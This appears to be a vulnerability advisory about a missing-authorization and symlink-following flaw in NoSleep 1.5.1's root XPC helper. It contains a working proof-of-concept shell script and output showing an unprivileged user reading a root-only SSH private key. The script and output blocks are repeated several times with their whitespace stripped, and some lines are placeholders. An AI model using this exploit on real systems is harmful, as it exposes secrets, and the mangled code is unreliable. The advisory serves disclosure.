NoSleep 1.5.1 installs com.protech.KextHelper as a root LaunchDaemon. The helper exposes a privileged XPC Mach service and accepts raw dictionary messages containing attacker-controlled command and NSBundlePath values.
The service does not verify the connecting process's audit token, code signature, Team ID, designated requirement, bundle identifier, effective user, or any equivalent authorization property before dispatching commands.
For the load command, the helper constructs:
<NSBundlePath>
<NSBundlePath>
<NSBundlePath>
<NSBundlePath>
It recursively traverses that path using logical symlink handling and applies owner root:wheel and mode 0755 before attempting to load the result as a kernel extension. The permission changes occur even when the subsequent kext load fails.
An attacker can therefore create a fake application bundle whose NoSleep.kext entry is a symbolic link to a sensitive target. The root helper follows the link and changes the target directory and its contents to mode 0755. If the complete path is beneath a parent the attacker can traverse, previously root-only files become readable.
Vulnerability
Root Cause
The issue is a chain of two weaknesses in NoSleep/NoSleepHelper/KextHelper/main.m:
Missing XPC client authorization. The listener accepts a peer, installs an event handler, and resumes the connection without validating which process connected. Any local process able to look up the Mach service can invoke privileged commands.
Unsafe privileged filesystem traversal. The load operation derives a path from attacker-controlled NSBundlePath, traverses it with FTS_LOGICAL, and executes chown(path, 0, 0) followed by chmod(path, 0755) for each entry. FTS_LOGICAL follows symbolic links, so the filesystem operation is not confined to the expected NoSleep bundle.
The helper also exposes unload and uninstall without authorization. Those operations can respectively attempt to unload the NoSleep kext and delete the helper executable, providing additional denial-of-service impact. They are not required for the confirmed file-disclosure path.
Impact
Confirmed impact includes:
Disclosure of root-owned files that were initially readable only by root.
Recursive unauthorized changes to file ownership and permissions.
Loss of confidentiality for credentials, configuration files, tokens, or other secrets located beneath a reachable target directory.
Integrity and availability impact when required ownership or permission metadata is changed.
Denial of service through unauthenticated unload or uninstall requests.
PoC
Preconditions
NoSleep 1.5.1 installed with com.protech.KextHelper registered as a root LaunchDaemon.
A local unprivileged account.
clang available to build the XPC probe.
The test must run in an isolated macOS system or virtual machine.
The supplied PoC is deliberately limited to a disposable fixture under /Users/Shared/nosleep-disclosure-lab. It does not accept an arbitrary target path and does not add the generated key to authorized_keys.
PoC source
The XPC client in nosleep_xpc_probe.c connects to the privileged Mach service and sends the two dictionary fields consumed by the helper:
The bounded wrapper in nosleep_disclosure_poc.sh creates the required fake bundle structure and fixes the symlink target to the disposable key fixture:
#!/bin/sh
set-euPROBE=${PROBE:-/tmp/nosleep_xpc_probe}TARGET=/Users/Shared/nosleep-disclosure-lab
PRIVATE_KEY=$TARGET/id_ed25519
if [ "$(id -u)"-eq0 ]; thenecho"error: run the PoC as an unprivileged user" >&2
exit1fiif [ ! -x"$PROBE" ]; thenecho"error: XPC probe not found or not executable: $PROBE" >&2
exit1fiif [ -r"$PRIVATE_KEY" ]; thenecho"error: fixture is already readable before the XPC request" >&2
exit1fiPOC_DIR=$(mktemp -d /tmp/nosleep-disclosure-poc.XXXXXX)
trap 'rm -rf "$POC_DIR"' EXIT HUP INT TERM
RESOURCES="$POC_DIR/Bundle.app/Contents/Resources"mkdir-p"$RESOURCES"ln-s"$TARGET""$RESOURCES/NoSleep.kext"echo"Before XPC request: private key is not readable by uid $(id -u)."set +e
"$PROBE" load "$POC_DIR/Bundle.app"PROBE_STATUS=$?set-e# Exit 3 means the helper returned false after changing the filesystem tree.if [ "$PROBE_STATUS"-ne3 ]; thenecho"error: unexpected probe exit status: $PROBE_STATUS" >&2
exit"$PROBE_STATUS"fiif [ ! -r"$PRIVATE_KEY" ]; thenecho"error: private key is still not readable" >&2
exit1fiecho"After XPC request: private key is readable by uid $(id -u)."
stat -f"%N %Su:%Sg %Sp""$TARGET""$PRIVATE_KEY""$PRIVATE_KEY.pub"
shasum -a256"$PRIVATE_KEY"
#!/bin/sh
set-euPROBE=${PROBE:-/tmp/nosleep_xpc_probe}TARGET=/Users/Shared/nosleep-disclosure-lab
PRIVATE_KEY=$TARGET/id_ed25519
if [ "$(id -u)"-eq0 ]; thenecho"error: run the PoC as an unprivileged user" >&2
exit1fiif [ ! -x"$PROBE" ]; thenecho"error: XPC probe not found or not executable: $PROBE" >&2
exit1fiif [ -r"$PRIVATE_KEY" ]; thenecho"error: fixture is already readable before the XPC request" >&2
exit1fiPOC_DIR=$(mktemp -d /tmp/nosleep-disclosure-poc.XXXXXX)
trap 'rm -rf "$POC_DIR"' EXIT HUP INT TERM
RESOURCES="$POC_DIR/Bundle.app/Contents/Resources"mkdir-p"$RESOURCES"ln-s"$TARGET""$RESOURCES/NoSleep.kext"echo"Before XPC request: private key is not readable by uid $(id -u)."set +e
"$PROBE" load "$POC_DIR/Bundle.app"PROBE_STATUS=$?set-e# Exit 3 means the helper returned false after changing the filesystem tree.if [ "$PROBE_STATUS"-ne3 ]; thenecho"error: unexpected probe exit status: $PROBE_STATUS" >&2
exit"$PROBE_STATUS"fiif [ ! -r"$PRIVATE_KEY" ]; thenecho"error: private key is still not readable" >&2
exit1fiecho"After XPC request: private key is readable by uid $(id -u)."
stat -f"%N %Su:%Sg %Sp""$TARGET""$PRIVATE_KEY""$PRIVATE_KEY.pub"
shasum -a256"$PRIVATE_KEY"
#!/bin/sh
set-euPROBE=${PROBE:-/tmp/nosleep_xpc_probe}TARGET=/Users/Shared/nosleep-disclosure-lab
PRIVATE_KEY=$TARGET/id_ed25519
if [ "$(id -u)"-eq0 ]; thenecho"error: run the PoC as an unprivileged user" >&2
exit1fiif [ ! -x"$PROBE" ]; thenecho"error: XPC probe not found or not executable: $PROBE" >&2
exit1fiif [ -r"$PRIVATE_KEY" ]; thenecho"error: fixture is already readable before the XPC request" >&2
exit1fiPOC_DIR=$(mktemp -d /tmp/nosleep-disclosure-poc.XXXXXX)
trap 'rm -rf "$POC_DIR"' EXIT HUP INT TERM
RESOURCES="$POC_DIR/Bundle.app/Contents/Resources"mkdir-p"$RESOURCES"ln-s"$TARGET""$RESOURCES/NoSleep.kext"echo"Before XPC request: private key is not readable by uid $(id -u)."set +e
"$PROBE" load "$POC_DIR/Bundle.app"PROBE_STATUS=$?set-e# Exit 3 means the helper returned false after changing the filesystem tree.if [ "$PROBE_STATUS"-ne3 ]; thenecho"error: unexpected probe exit status: $PROBE_STATUS" >&2
exit"$PROBE_STATUS"fiif [ ! -r"$PRIVATE_KEY" ]; thenecho"error: private key is still not readable" >&2
exit1fiecho"After XPC request: private key is readable by uid $(id -u)."
stat -f"%N %Su:%Sg %Sp""$TARGET""$PRIVATE_KEY""$PRIVATE_KEY.pub"
shasum -a256"$PRIVATE_KEY"
#!/bin/sh
set-euPROBE=${PROBE:-/tmp/nosleep_xpc_probe}TARGET=/Users/Shared/nosleep-disclosure-lab
PRIVATE_KEY=$TARGET/id_ed25519
if [ "$(id -u)"-eq0 ]; thenecho"error: run the PoC as an unprivileged user" >&2
exit1fiif [ ! -x"$PROBE" ]; thenecho"error: XPC probe not found or not executable: $PROBE" >&2
exit1fiif [ -r"$PRIVATE_KEY" ]; thenecho"error: fixture is already readable before the XPC request" >&2
exit1fiPOC_DIR=$(mktemp -d /tmp/nosleep-disclosure-poc.XXXXXX)
trap 'rm -rf "$POC_DIR"' EXIT HUP INT TERM
RESOURCES="$POC_DIR/Bundle.app/Contents/Resources"mkdir-p"$RESOURCES"ln-s"$TARGET""$RESOURCES/NoSleep.kext"echo"Before XPC request: private key is not readable by uid $(id -u)."set +e
"$PROBE" load "$POC_DIR/Bundle.app"PROBE_STATUS=$?set-e# Exit 3 means the helper returned false after changing the filesystem tree.if [ "$PROBE_STATUS"-ne3 ]; thenecho"error: unexpected probe exit status: $PROBE_STATUS" >&2
exit"$PROBE_STATUS"fiif [ ! -r"$PRIVATE_KEY" ]; thenecho"error: private key is still not readable" >&2
exit1fiecho"After XPC request: private key is readable by uid $(id -u)."
stat -f"%N %Su:%Sg %Sp""$TARGET""$PRIVATE_KEY""$PRIVATE_KEY.pub"
shasum -a256"$PRIVATE_KEY"
The complete versions used for validation are included beside this advisory as nosleep_xpc_probe.c and nosleep_disclosure_poc.sh.
Run the following as the normal local user, without sudo:
PROBE
PROBE
PROBE
PROBE
Observed result:
Before XPC request:private key is not readable by uid 501.return=falseAfter XPC request:private key is readable by uid 501.
/Users/Shared/nosleep-disclosure-lab root:wheel drwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519 root:wheel -rwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519.pub root:wheel -rwxr-xr-x41201c7eb6d688b4b1ca1241023e06d59cce66bfd3cef25b94470b635c3fe6e3 /Users/Shared/nosleep-disclosure-lab/id_ed25519
Before XPC request:private key is not readable by uid 501.return=falseAfter XPC request:private key is readable by uid 501.
/Users/Shared/nosleep-disclosure-lab root:wheel drwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519 root:wheel -rwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519.pub root:wheel -rwxr-xr-x41201c7eb6d688b4b1ca1241023e06d59cce66bfd3cef25b94470b635c3fe6e3 /Users/Shared/nosleep-disclosure-lab/id_ed25519
Before XPC request:private key is not readable by uid 501.return=falseAfter XPC request:private key is readable by uid 501.
/Users/Shared/nosleep-disclosure-lab root:wheel drwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519 root:wheel -rwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519.pub root:wheel -rwxr-xr-x41201c7eb6d688b4b1ca1241023e06d59cce66bfd3cef25b94470b635c3fe6e3 /Users/Shared/nosleep-disclosure-lab/id_ed25519
Before XPC request:private key is not readable by uid 501.return=falseAfter XPC request:private key is readable by uid 501.
/Users/Shared/nosleep-disclosure-lab root:wheel drwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519 root:wheel -rwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519.pub root:wheel -rwxr-xr-x41201c7eb6d688b4b1ca1241023e06d59cce66bfd3cef25b94470b635c3fe6e3 /Users/Shared/nosleep-disclosure-lab/id_ed25519
The helper returns false because the linked directory is not a valid kext. This does not prevent exploitation: the recursive root ownership and mode changes happen before KextManagerLoadKextWithURL rejects the path.
The SHA-256 calculated by uid 501 after exploitation matched the hash calculated by root before exploitation. This proves that the unprivileged user read the complete original private-key file.
Evidence of Exploitation
Video of exploitation:
Static evidence:
Our security policy
We have reserved the ID CVE-2026-19755 to refer to this issue from now on.
Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.